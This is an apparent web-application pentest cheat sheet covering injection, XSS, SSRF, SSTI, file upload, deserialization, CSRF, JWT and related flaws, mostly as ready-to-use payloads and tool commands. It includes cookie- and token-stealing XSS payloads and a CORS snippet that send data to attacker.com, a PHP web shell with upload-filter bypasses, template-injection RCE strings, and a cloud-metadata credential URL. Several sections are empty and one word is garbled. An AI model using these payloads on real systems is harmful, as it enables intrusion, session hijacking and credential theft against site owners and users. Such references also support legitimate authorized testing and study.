WebApp
RECONNAISSANCE
Present on: All web applications
Manual: Browser dev tools, view source, directory guessing Automated:
subfinder -d target.com | httpx -silent
ffuf -w /usr/share/wordlists/dirb/common.txt -u https://target.com/FUZZ
nuclei -u target.com -t technologies/
AUTHENTICATION BYPASS
Present when: Poor auth implementation, weak validation logic
Manual: Try default creds, manipulate login flow, check session handling Automated:
hydra -L users.txt -P pass.txt target.com http-post-form
ffuf -w creds.txt -u target.com/login -X POST -d "user=FUZZ&pass=FUZZ"
Exploit:
SQL INJECTION
Present when: User input directly concatenated into SQL queries Detailed cheatsheet: SQL Injection
Manual: Add '
to parameters, observe errors, test time delays
Automated:
Exploit:
# Detection
' OR SLEEP(5)--
' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--
# Extraction
' UNION SELECT 1,version(),database()--
' UNION SELECT 1,load_file('/etc/passwd'),3--
XSS
Present when: User input reflected in HTML without proper encoding
Also see Cross-Site Scripting (XSS)
Manual: Insert <script>alert(1)</script>
in all inputs, check response
Automated:
Exploit:
<script>alert(document.cookie)</script>
<img src=x onerror=fetch('//attacker.com/'+document.cookie)>
<svg onload=location='//attacker.com/?'+localStorage.getItem('token')>
COMMAND INJECTION
Present when: User input passed to system commands without sanitization
Also see: Command Injection
Manual: Test with ;
, &&
, |
followed by commands like whoami
Automated:
Exploit:
FILE UPLOAD
Present when: File uploads lack proper validation and execution prevention Also see: Insecure File Uploads Manual: Upload various file types, check execution in upload directory Automated:
Exploit:
# Shell upload
shell.php: <?php system($_GET['cmd']); ?>
# Bypass techniques
shell.php%00.jpg
shell.Php
shell.phtml
GIF89a;<?php system($_GET['cmd']);?>
SSRF
Present when: Application makes requests to user-controlled URLs
Manual: Replace URLs with internal IPs, cloud metadata endpoints Automated:
Exploit:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
http://127.0.0.1:8080/admin
file:///etc/passwd
gopher://127.0.0.1:6379/_SET test 1
SSTI
Present when: User input embedded in template engines without sandboxing
Also see: Server-Side Template Injection (SSTI)
Manual: Test with {{7*7}}
, ${7*7}
, observe if calculation occurs
Automated:
Exploit:
# Jinja2
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
# Twig
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Freemarker
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
PATH TRAVERSAL/LFI
Present when: File paths constructed from user input without validation
Also see: Local File Inclusion (LFI)
Manual: Replace filenames with ../../../etc/passwd
, observe responses
Automated:
Exploit:
../../../etc/passwd
....//....//....//etc/passwd
php://filter/convert.base64-encode/resource=config.php
php://input (with POST: <?php system($_GET['cmd']);?>)
INSECURE DESERIALIZATION
Present when: Untrusted serialized objects are deserialized
Manual: Look for base64/hex blobs in cookies, ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡs; decode and analyze Automated:
Exploit:
# Java
java -jar ysoserial.jar CommonsCollections1 'id' | base64
# PHP
phpggc Laravel/RCE1 system id | base64
# .NET
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate -c "calc"
IDOR
Present when: Object IDs in URLs/parameters lack proper authorization checks Also see: Insecure Direct Object Reference (IDOR) Manual: Change numeric IDs, UUIDs, usernames in parameters Automated:
Exploit:
HTTP REQUEST SMUGGLING
Present when: Frontend/backend servers parse HTTP requests differently
Manual: Send conflicting Content-Length/Transfer-Encoding headers Automated:
Exploit:
BUSINESS LOGIC FLAWS
Present when: Application workflow can be manipulated for unintended outcomes
Manual: Skip steps, negative values, race conditions, replay attacks Automated:
Exploit:
CACHE POISONING
Present when: Web caches store responses based on manipulable headers
Manual: Modify Host header, X-Forwarded-Host, observe cached responses Automated:
Exploit:
CORS MISCONFIGURATION
Present when: Access-Control headers are overly permissive
Manual: Check if Origin reflects in Access-Control-Allow-Origin Automated:
Exploit:
// If ACAO: * with credentials
fetch('https://target.com/api/sensitive', {credentials: 'include'})
.then(r=>r.text()).then(d=>fetch('//attacker.com?data='+btoa(d)))
OPEN REDIRECT
Present when: Redirect destinations come from untrusted user input
Manual: Modify redirect parameters to external domains Automated:
Exploit:
CLICKJACKING
Present when: X-Frame-Options/CSP frame-ancestors missing
Manual: Check response headers for frame protection Automated:
Exploit:
<iframe src="https://target.com/admin/delete?id=123" style="opacity:0.1"></iframe>
<div style="position:absolute;">CLICK HERE FOR FREE MONEY!</div>
CSRF (CROSS-SITE REQUEST FORGERY)
Present when: State-changing requests lack proper anti-CSRF tokens Cross-Site Request Forgery (CSRF) Manual: Remove CSRF tokens, check if requests still work Automated:
Exploit:
<form action="https://target.com/transfer" method="POST">
<input name="to" value="attacker">
<input name="amount" value="1000">
</form>
<script>document.forms[0].submit()</script>
SUBDOMAIN TAKEOVER
Present when: DNS points to unclaimed cloud services
Manual: Check CNAME records, try claiming the service Automated:
Exploit:
# If CNAME points to unclaimed service
dig subdomain.target.com
# If points to xxx.github.io - claim that GitHub pages
JWT VULNERABILITIES
Present when: JSON Web Tokens lack proper validation
Manual: Decode JWT, modify payload/header, test none algorithm Automated:
Exploit:
# None algorithm
{"alg":"none","typ":"JWT"}
# Algorithm confusion
jwt_tool token.jwt -X k -pk public.pem
# Weak secret
jwt_tool token.jwt -C -d rockyou.txt
GRAPHQL INJECTION
Present when: GraphQL endpoints lack proper input validation
Manual: Send malformed queries, introspection queries Automated:
Exploit:
# Introspection
{__schema{types{name fields{name type{name}}}}}
# Injection
{user(id: "1' OR 1=1--") {name email}}
# DoS
query {users(first: 99999999) {name}}
WEBSOCKET VULNERABILITIES
Present when: WebSocket connections lack proper authentication/validation
Manual: Connect to WebSocket, send malformed/privileged messages Automated:
Exploit:
ws = new WebSocket("ws://target.com/ws");
ws.send('{"action":"admin","cmd":"delete_user","id":"victim"}');
QUICK IDENTIFICATION CHECKLIST
# Immediate checks
curl -k https://target.com/robots.txt
curl -k https://target.com/.git/config
curl -k https://target.com/admin
curl -k -H "Host: evil.com" https://target.com
# Quick tests
echo '"><script>alert(1)</script>' # XSS
echo "' OR 1=1--" # SQL
echo "../../../etc/passwd" # LFI